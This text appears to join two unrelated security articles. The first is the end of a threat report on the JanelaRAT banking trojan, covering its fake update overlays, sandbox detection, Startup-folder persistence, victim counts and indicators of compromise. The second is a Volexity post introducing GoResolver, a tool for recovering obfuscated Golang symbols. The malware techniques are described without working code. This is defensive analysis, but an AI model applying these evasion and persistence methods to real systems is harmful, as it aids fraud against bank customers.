Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

• “Configuring Windows updates, please wait.”
• “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

KEY TAKEAWAYS

• Go language (Golang) is increasing in popularity with developers of both legitimate and malicious tooling.
• Volexity frequently encounters malware samples written in Golang that apply obfuscators to hinder analysis.
• Obfuscated Golang malware samples are significantly harder to statically analyze for reverse engineers.
• Volexity has developed an open-source tool, GoResolver, to retrieve obfuscated functions names.
• GoResolver’s control-flow graph similarity techniques offer a significant advantage in recovering symbol information.

In the course of its investigations, Volexity frequently encounters malware samples written in Golang. Binaries written in Golang are often challenging to analyze because of the embedded libraries and the sheer size of the resulting binaries. This issue is amplified when samples are obfuscated using tools such as Garble, an open-source Golang obfuscation tool.

The popularity of Golang amongst malware developers, and the use of obfuscators to make reverse-engineering harder, raised the need for better tooling to assist in reverse-engineering efforts. Volexity developed GoResolver, an open-source tool that uses control-flow graph similarities to retrieve obfuscated functions names. GoResolver is available for download on GitHub here.

Note that throughout this blog post, Garble obfuscation is used to demonstrate GoResolver’s effectiveness. However, the same principles apply to other closed-source Golang obfuscators observed by Volexity.

Garble Obfuscation Properties Analysis

One of the obfuscators commonly encountered by Volexity is Garble. Its functionality is described in the README, a screenshot of which is shown below:

Despite these listed features, all of which significantly hinder manual static analysis, binaries obfuscated using Garble present interesting properties that weaken the overall apparent strength of its obfuscation.

For example, the randomization employed by Garble for function and package names is not truly random. Due to how Golang resolves function names, randomized names must stay consistent across all functions of a package, so they are highly reused:

As shown in the image above, the “E2AKV7TQjQ” string is reused across many functions as it represents the package name. Manually looking at the functions called by this garbled string, it can be inferred that this represents the os/exec package. Consequently, if one function from a package is identified, the package can be identified for the entire binary. All other obfuscated functions can then be associated with this package. This logic greatly improves the symbol recovery.

Existing Go Tools

Some tools already exist to help retrieve lost symbol information, the most well-known of which is Mandiant’s GoReSym. GoReSym works by bypassing the symbol table entirely. Instead, it extracts function names and type information from Go’s internal runtime structures, ModuleData and PcLineTab, in the same way as the Golang runtime would, using the Golang runtime’s own parser whenever possible. As these structures are necessary for Golang binaries to work properly, Garble cannot strip them.

As the retrieved symbols are still randomized, Volexity recognized an opportunity to go further by using control-flow graph similarities to identify the original package and function names.

Control-flow Graph Similarities

Control-flow graphs can be used to represent different paths a binary may take during execution. Even when recompiled across different compiler versions, the resulting control-flow graph of a given algorithm will remain similar. By measuring the similarity between the control-flow graph of two functions in two different binaries, it is sometimes possible to assert if they result from the same algorithm.

A paper published in 2020 describes an efficient technique to compute the normalized similarity (0.0 to 1.0) between two control-flow graphs by computing the weighted ratio of similar assembly instructions across nodes of the control-flow graph. By implementing this technique and comparing Garbled samples against generated clean template Golang samples, it could then be possible to fully resolve the randomized symbol names to their original form.

An illustration of this process is below:

Two graphs are compared, and the similarity between each set of two blocks in the graph is computed. In the illustration above, the red and blue blocks contain the exact same instructions but in a different order, and thus have a similarity of 1.0.

GoResolver Installation

The GoResolver toolchain is composed of four projects:

Project	Description
GoResolver	A Golang symbol recovery tool through symbol extraction and control-flow graph similarity
GoGrapher	A binary similarity tool that computes the control-flow graph similarity between two binaries
GoStrap	A Golang reference sample bootstrapping tool that allows users to generate Go samples of any Golang version and feature the requested set of libraries
GitToolFetcher	A simple tool to install, manage, and run multiple, concurrent versions of GitHub-hosted projects

An overview of the interactions within the projects of the GoResolver toolchain is shown below:

To install the GoResolver toolchain, please ensure your system’s dependencies match the following minimum requirements:

Language	Version
Go	1.20.6+
Python	3.12+

Each Python-based component of the toolchain is available on pypi, so you can simply run the following command to install:

pip install goresolver

GoResolver also provides plugins for IDA Pro and Ghidra. The following versions are supported:

Tool	Version	Python Version
IDA Pro (IDAPython)	9+	Python 3.12+
Ghidra (PyGhidra)	11.3+	Python 3.12+

In Volexity’s experience, analysis of Golang binaries is significantly faster in IDA Pro.

Case Study

To illustrate usage of the GoResolver toolchain, Volexity built the Stowaway agent using Garble. The sample (1df2cd0d12e5028d5dbda33a4e4404e0) is available on VirusTotal.

When the sample is disassembled using IDA Pro, most functions have generic names using the format sub_OFFSET. This is to be expected, since Garble stripped the symbol table. Performing a complete analysis would be tedious; instead, the sample is submitted to GoResolver.

GoResolver will first try to identify the version of Golang used to build the malware sample. This is usually done by parsing the BuildInfo or identifying Golang version string fragments in the binary. For garbled Golang binaries, however, neither approach works, since Garble ensures no version fragments or BinaryInfo remain in the compiled executable.

While Garble removes all directly identifiable information, it is still bundled with the Golang runtimes. Since the Golang runtime changes between different versions, GoResolver can use this information to fingerprint the runtime version. By generating reference data for each major Golang version and computing the similarity of each runtime with the malware sample, the tool can pinpoint the Golang version used to compile the malware sample. Volexity has identified that testing only 2% of the Golang runtime was sufficient to discriminate between major versions. This improves both efficiency and resource usage when computing the similarity of each major Golang version of the malware sample.

To submit a sample to GoResolver, simply call the tool with the path to the sample as argument, for example:

goresolver /path/to/sample.exe

The submission of the malware sample to GoResolver is shown below:

Once the Golang version of the malware sample is identified, the template compiled with this specific version will be used as a reference. GoResolver then computes the full binary similarity, which is combined with the symbols extracted similarly to those used by GoReSym. This results in the final symbol report, which can then be imported into your SRE tool of choice.

The before-and-after import comparison of resolved symbols is illustrated below:

As shown above, numerous symbols have been resolved to more meaningful names, even though they are still partially obfuscated. Even in cases where symbols haven’t been fully resolved by the similarity algorithm, statistical analysis helps resolve the package and modules names, as can be seen with the “os” package shown below:

Even though these symbols are only partially resolved, knowing their package name helps understand the binary layout. This also helps the analyst avoid reversing runtime and library methods, allowing them to instead focus on the malware’s actual core logic.

SRE Plugins

To ease the integration of the GoResolver toolchain into analyst workflows, Volexity has made plugins available for both IDA Pro and Ghidra. Both plugins allow easy import of recovered symbol data generated by the GoResolver CLI tool into their respective symbol databases. While their interface differs, both plugins rely on the same codebase and thus provide the same capabilities.

When using IDA Pro, the following dialog is shown:

The GoResolver plugin features two modes of operation, depending on how you want the GoResolver toolchain to integrate into your workflow: “Analyze the current file” or “Import a previous report”. These options are selectable on the left-hand side.

The Analyze option lets you run GoResolver directly within IDA Pro. Once the analysis is complete the generate report file will be automatically imported into the symbol database.

The Import option requires you to generate a report file using the standalone GoResolver CLI beforehand. This can then be imported into the symbol database by selecting the path to the previously generated report file.

When using Ghidra, the following dialogs are shown:

These dialogs offer the same options as the IDA Pro plugin; the Analyze and Import modes behave the same way.

Both plugins are available in the “Plugin” directory within GoResolver’s repository.

Conclusion

Golang is more often the language of choice for many malware authors, due to embedded libraries and the size of the resulting binaries. To add additional complexity, malware written in Golang is often obfuscated. The ability to reverse engineer obfuscated malware written in Golang is an important part of digital forensic investigations.

Volexity has developed GoResolver, an open-source tool that uses control-flow graph similarities to retrieve obfuscated functions names. The use of control-flow graph similarity, in conjunction with pre-existing symbol extraction techniques, allows the resolution of more complete symbols than previously achievable. This ensures a better understanding of the binary, and helps analysts focus on reversing the core malware logic. Volexity plans to integrate more features, such as automatic Golang strings parsing and various improvements to facilitate the Golang binaries reversing, so watch for updates in the GoResolver repository on GitHub.

Acknowledgements

Volexity would like to thank Mandiant’s threat intelligence division for its documentation of the Golang runtime’s symbol-parsing mechanism, as well as their work on GoReSym.

Volexity also thanks Mr. Hyun-il Lim from the Kyungnam University for the research and paper on control-flow graph similarity algorithms.

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